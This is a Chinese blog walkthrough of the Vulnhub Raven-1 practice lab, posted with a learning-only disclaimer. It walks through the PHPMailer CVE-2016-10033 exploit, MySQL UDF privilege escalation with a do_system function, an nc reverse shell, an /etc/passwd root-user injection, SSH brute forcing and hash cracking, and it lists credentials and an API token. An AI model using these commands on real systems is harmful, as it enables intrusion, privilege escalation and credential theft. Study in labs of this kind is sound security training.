【甄选靶场】Vulnhub百个项目渗透——项目十五:Raven-1(wp利用,UDF提权)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十五:Raven-1(wp利用,UDF提权)
靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

1.服务发现

ifconfig
nmap -sP 192.168.247.0/24
nmap -sS -sV -A -T5 192.168.247.144

在这里插入图片描述

发现开启了ssh,web以及一个rpcbind服务
先对web页面进行突破

2.web突破

1.页面信息收集

在这里插入图片描述

首先页面所有东西乱点一通,查看源码,发现了第一个flag,这里我直接用的crtl+f搜索页面文本,因为眼睛真的会谢。。
然后还发现了一些php文件

2.目录信息挖掘

dirb http://192.168.247.144 
发现了wordpress的文件夹,说明这是个wp站点,我们一会要用wpscan以及awvs一起扫描
还发现了vendor文件夹,这是默认目录,多搞几个wp的站就晓得了

在这里插入图片描述

在这里插入图片描述

这么多目录明眼人以看就会看oath以及readme.md以及version文件
因为其他的都没见过
实际情况也不会有变态把文件名起的很奇怪,因为他自己也要用不是?

在这里插入图片描述

phpmailer,OKOK

在这里插入图片描述

版本号也知道了

searchsploit phpmailer 5.2.16

在这里插入图片描述

3.脆弱服务利用

搜一哈exp,看看kali有没有,只要kali能搜到,那肯定能整,但是更具体的还是要去谷歌搜,因为kali的能不能用还是两说,直接谷歌也方便

谷歌:PHPMailer 5.2.16 exp
CVE-2016-10033
点开网页发现exp编号:	

kali输入
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py .  ---这里有个点

在这里插入图片描述

改改参数,我红框里这些要改。根据漏洞库官方给出的用法(上图)

在这里插入图片描述
在这里插入图片描述

4.获取shell

执行exp
python3 40974.py
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

访问http://192.168.247.144/contact.php,此时就会生成后门文件rong.php
本地开启监听:nc -vlp 6666
访问:http://192.168.247.144/rong.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

2.内网突破

1.再次信息收集

首先先上传3个提权辅助
本地打开python服务,靶机下载kali文件

python -m http.server 8082
wget http://192.168.247.129:8082/linpeas.sh```

目录一顿翻找,发现第三个flag以及一个wp-config文件,一般来说里面会有数据库的账号密码,那就在这个里面搜索一下

grep "password" -rn wp-config.php

在这里插入图片描述

说在第28行

在这里插入图片描述

得到了账号密码,并且数据库是root运行,那么就清楚了,可以试试udf提权

2.再次脆弱服务利用

1.UDF提权
1)查看是否能udf提权:条件1
	条件1:查看是否是root权限运行
	ps aux | grep root   ---查看mysql进程信息
	条件2:查看mysql版本
	dpkg -l | grep mysql   --查看历史安装包版本 5.5.6


2)首先看一下是否满足写入条件:条件2
	show global variables like 'secure%';
	+------------------+-------+
	| Variable_name    | Value |
	+------------------+-------+
	| secure_auth      | OFF   |
	| secure_file_priv |       |
	+------------------+-------+
	2 rows in set (0.00 sec)
	1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
	2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
	3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
	如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

3)查看插件目录:条件3
	show variables like '%plugin%';
	+---------------+------------------------+
	| Variable_name | Value                  |
	+---------------+------------------------+
	| plugin_dir    | /usr/lib/mysql/plugin/ |
	+---------------+------------------------+
	1 row in set (0.00 sec)

	查看能否远程登陆:
	use mysql;
	select user,host from user;
	+------------------+-----------+
	| user             | host      |
	+------------------+-----------+
	| root             | 127.0.0.1 |
	| root             | ::1       |
	| debian-sys-maint | localhost |
	| root             | localhost |
	| root             | raven     |
	+------------------+-----------+
	5 rows in set (0.00 sec)
	发现这里root用户不允许远程登陆,因此不能利用MSF提权。

然后这是5.x的版本,我们直接搜5.x的UDF提权
UDF提权,简单来说就是做一个新的函数放到插件库里,因为sql具有root权限,所以新建的函数就是root

1)准备exp:
	谷歌搜索:mysql 5.x UDF exp
	searchsploit 1518.c
	cp /usr/share/exploitdb/exploits/linux/local/1518.c .
	gcc -g -c 1518.c   ---GCC编译.o文件
	gcc -g -shared -o rong.so 1518.o -lc
	以上在kali操作
	
	-g 生成调试信息
	-c 编译(二进制)
	-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
	-o:执行命令后的文件名
	-lc:-l 库 c库名

2)上传exp
	wget http://192.168.247.129:8080/rong.so
	show databases;
	use mysql
	select database();

3)创建表
	进入数据库创建数据表rong:
	create table rong(line blob);
	
4)插入数据
	插入数据文件:
	insert into rong values(load_file('/tmp/rong.so'));
	
5)导出并新建存储函数
	rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,
	outfile 多行导出
	dumpfile一行导出
	outfile会有特殊的转换,而dumpfile是原数据导出!
	新建存储函数:
	select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';

6)创建函数
	创建自定义函数do_system,类型是integer,别名(soname)文件名字
	create function do_system returns integer soname 'dayu.so';

7)查询创建是否成功
	select * from mysql.func;
	
8)借调自定义函数给别的常用命令,使其root权限
	调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
	select do_system('chmod u+s /usr/bin/find');

9)执行命令
	执行find命令
	使用find执行 shell
	touch rong    创建一个新的文件夹/没啥用,就是方便使用find命令
	find rong -exec "/bin/sh" \;
	或者:find rong -exec "id" \;
	cd /root
	cat flag4.txt
	flag4{df2bc5e951d91581467bb9a2a8ff4425}

在这里插入图片描述
在这里插入图片描述

扩展

UDF拓展知识点:

1)nc反弹shell: select do_system(‘nc -nv 10.211.55.28 6677 -e
/bin/bash’);

2)创建root权限用户 openssl passwd dayu1 YpIR51FecR9AY select do_system(‘echo
“root:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash” >> /etc/passwd’); su
dayu
root❌0:0:root:/root:/bin/bash

2.wpscan利用
wpscan --url http://10.211.55.12/wordpress -eu --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc

在数据库wordpress的wp_posts表中发现: flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}

3.用户枚举

内网信息收集用户名爆破
1)linpeas脚本枚举用户:michael、steven
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.211.55.12 ssh
[22][ssh] host: 192.168.247.144   login: michael   password: michael

2)数据库枚举密码值爆破
数据库枚举发现信息:
mysql -uroot -pR@v3nSecurity 
show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
pink84           (steven)

steven
pink84
ssh steven@10.211.55.12

sudo -l   
User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
发现是python给与的最高权限!
sudo python -c 'import pty; pty.spawn("/bin/bash")'
这时候用sudo执行python就能拿到root的shell!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值